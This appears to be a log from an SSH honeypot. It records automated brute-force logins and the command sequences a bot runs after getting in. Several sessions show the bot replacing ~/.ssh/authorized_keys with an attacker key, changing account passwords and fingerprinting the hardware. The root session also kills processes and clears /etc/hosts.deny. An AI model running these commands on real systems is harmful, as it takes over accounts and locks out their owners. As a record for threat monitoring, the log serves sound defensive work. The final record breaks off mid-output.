{"id":"3694e3c9-045c-4f39-b2d8-d8a17f1b9e01","name":"inland-quartz-jaguar","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40829,"username":"stperez","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":747,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:21:53.524429+00:00","ended_at":"2026-08-26T15:21:55.142540+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-26T15:21:25.321829+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:21:26.070037+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:21:32.831879+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:21:33.315196+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:21:34.062609+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nAfWRWY25UiKq\\nAfWRWY25UiKq\"|passwd|bash"},{"seq":6,"at":"2026-08-26T15:21:34.804268+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nAfWRWY25UiKq\\nAfWRWY25UiKq\\n\"|passwd"},{"seq":7,"at":"2026-08-26T15:21:35.547944+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:21:36.156559+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:21:36.901713+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T15:21:38.369598+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:21:39.118120+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:21:40.517495+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:21:41.265182+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:21:41.687376+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T15:21:42.433702+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:21:43.135871+00:00","kind":"output","latency_ms":null,"data":" 15:21:43 up 6 days, 12:11,  0 user,  load average: 0.3, 0.3, 0.23\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:21:43.883799+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:21:44.433417+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:21:45.177477+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:21:45.585295+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:21:46.332218+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:21:46.731579+00:00","kind":"output","latency_ms":null,"data":"top - 15:21:46 up 6 days, 12:11,  0 user,  load average: 0.3, 0.3, 0.23\nTasks: 113 total,   1 running, 112 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    7308 free,    8579 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T15:21:47.477500+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:21:48.042165+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:21:48.788674+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:21:49.468896+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:21:50.218856+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:21:50.682957+00:00","kind":"output","latency_ms":null,"data":"stperez"},{"seq":29,"at":"2026-08-26T15:21:51.427421+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:21:52.780330+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:21:53.525418+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:21:54.905395+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"stperez","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"9b0adcd7-ec89-4346-a06d-4e43b65eb581","name":"quiet-alpine-woodcock","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40831,"username":"stperez","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:21:30.819290+00:00","ended_at":"2026-08-26T15:21:32.596131+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"stperez","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"2b8196cb-ce71-466e-b386-4f1e04b03b88","name":"loyal-glassy-zebu","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40830,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:21:27.809421+00:00","ended_at":"2026-08-26T15:21:29.326676+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"eabb46c1-d88e-42ec-91c4-8f9f201e4e05","name":"gallant-nautical-wallaby","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40826,"username":"ehsan","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":754,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:19:07.570401+00:00","ended_at":"2026-08-26T15:19:09.068552+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2248,"events":[{"seq":1,"at":"2026-08-26T15:18:39.073637+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:18:39.825135+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:18:47.426219+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:18:47.717478+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:18:48.476077+00:00","kind":"input","latency_ms":null,"data":"echo -e \"ehsan\\n7fjy5ZDD4ATW\\n7fjy5ZDD4ATW\"|passwd|bash"},{"seq":6,"at":"2026-08-26T15:18:49.238066+00:00","kind":"input","latency_ms":null,"data":"echo \"ehsan\\n7fjy5ZDD4ATW\\n7fjy5ZDD4ATW\\n\"|passwd"},{"seq":7,"at":"2026-08-26T15:18:49.986612+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:18:50.241638+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:18:50.995627+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T15:18:52.317467+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:18:53.073754+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:18:54.387249+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:18:55.141944+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:18:55.739358+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T15:18:56.492752+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:18:56.774028+00:00","kind":"output","latency_ms":null,"data":" 15:18:56 up 6 days, 12:09,  0 user,  load average: 0.13, 0.1, 0.09\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:18:57.528100+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:18:58.371280+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:18:59.126444+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:18:59.780440+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:19:00.534417+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:19:00.948709+00:00","kind":"output","latency_ms":null,"data":"top - 15:19:00 up 6 days, 12:09,  0 user,  load average: 0.13, 0.1, 0.09\nTasks: 104 total,   1 running, 103 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    6990 free,    8897 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T15:19:01.702117+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:19:02.374035+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:19:03.127348+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:19:03.668788+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:19:04.422043+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:19:04.799512+00:00","kind":"output","latency_ms":null,"data":"ehsan"},{"seq":29,"at":"2026-08-26T15:19:05.553083+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:19:06.818140+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:19:07.570940+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:19:08.828999+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ehsan","password":"ehsan","method":"password","accepted":true,"tier":"other"}]}
{"id":"ba76cb7f-ee81-427d-b1cb-cf103b7902b4","name":"hardy-somber-nightjar","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40828,"username":"ehsan","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:18:45.109104+00:00","ended_at":"2026-08-26T15:18:47.183028+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ehsan","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"f4f6bae1-6313-4b22-ae95-9c411d01efd0","name":"orderly-eager-waxwing","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40827,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:18:41.574341+00:00","ended_at":"2026-08-26T15:18:43.607194+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"43c35472-6d7f-435a-abe5-a40ab6db6e36","name":"frosty-nameless-dipper","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40823,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":750,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:16:28.241737+00:00","ended_at":"2026-08-26T15:16:29.345554+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-26T15:16:00.514453+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:16:01.263806+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:16:07.494301+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:16:07.791079+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:16:08.541033+00:00","kind":"input","latency_ms":null,"data":"echo -e \"@dm1n\\nV3MCcjdaEvcu\\nV3MCcjdaEvcu\"|passwd|bash"},{"seq":6,"at":"2026-08-26T15:16:09.292277+00:00","kind":"input","latency_ms":null,"data":"echo \"@dm1n\\nV3MCcjdaEvcu\\nV3MCcjdaEvcu\\n\"|passwd"},{"seq":7,"at":"2026-08-26T15:16:10.040857+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:16:10.881211+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:16:11.630748+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T15:16:12.894885+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:16:13.648254+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:16:14.756565+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:16:15.508422+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:16:15.939405+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T15:16:16.688682+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:16:17.300766+00:00","kind":"output","latency_ms":null,"data":" 15:16:17 up 6 days, 12:06,  0 user,  load average: 0.29, 0.35, 0.32\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:16:18.050826+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:16:18.533476+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:16:19.278543+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:16:19.933025+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:16:20.684632+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:16:21.484529+00:00","kind":"output","latency_ms":null,"data":"top - 15:16:21 up 6 days, 12:06,  0 user,  load average: 0.29, 0.35, 0.32\nTasks: 107 total,   1 running, 106 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    8738 free,    7149 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T15:16:22.234331+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:16:23.079036+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:16:23.828668+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:16:24.467768+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:16:25.221580+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:16:25.630951+00:00","kind":"output","latency_ms":null,"data":"admin"},{"seq":29,"at":"2026-08-26T15:16:26.381021+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:16:27.492055+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:16:28.242542+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:16:29.106358+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin","password":"@dm1n","method":"password","accepted":true,"tier":"other"}]}
{"id":"f63cc11c-1c67-42e3-b2fe-11e55cdb4fb2","name":"fleeting-velvet-walrus","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40825,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:16:05.704359+00:00","ended_at":"2026-08-26T15:16:07.256163+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"admin","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"e2ace2cf-210d-40c4-9b96-6c337a089478","name":"wry-diligent-egret","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40824,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:16:02.987494+00:00","ended_at":"2026-08-26T15:16:04.215878+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"cd14acdb-0532-4637-a57b-d4614e87e7b8","name":"nimble-gritty-puffin","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40820,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":748,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:13:47.024035+00:00","ended_at":"2026-08-26T15:13:48.740742+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T15:13:19.797518+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:13:20.544217+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:13:26.213407+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:13:26.783221+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:13:27.531706+00:00","kind":"input","latency_ms":null,"data":"echo \"root:eINlW6AjDcPQ\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T15:13:28.280314+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T15:13:29.026230+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:13:29.539831+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:13:30.288475+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T15:13:31.806228+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:13:32.555421+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:13:33.771361+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:13:34.520356+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:13:35.222806+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T15:13:35.970895+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:13:36.667554+00:00","kind":"output","latency_ms":null,"data":" 15:13:36 up 6 days, 12:03,  0 user,  load average: 0.08, 0.1, 0.05\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:13:37.415167+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:13:38.234054+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:13:38.982353+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:13:39.261154+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:13:40.006131+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:13:40.386145+00:00","kind":"output","latency_ms":null,"data":"top - 15:13:40 up 6 days, 12:03,  0 user,  load average: 0.08, 0.1, 0.05\nTasks: 111 total,   1 running, 110 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    8738 free,    7149 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 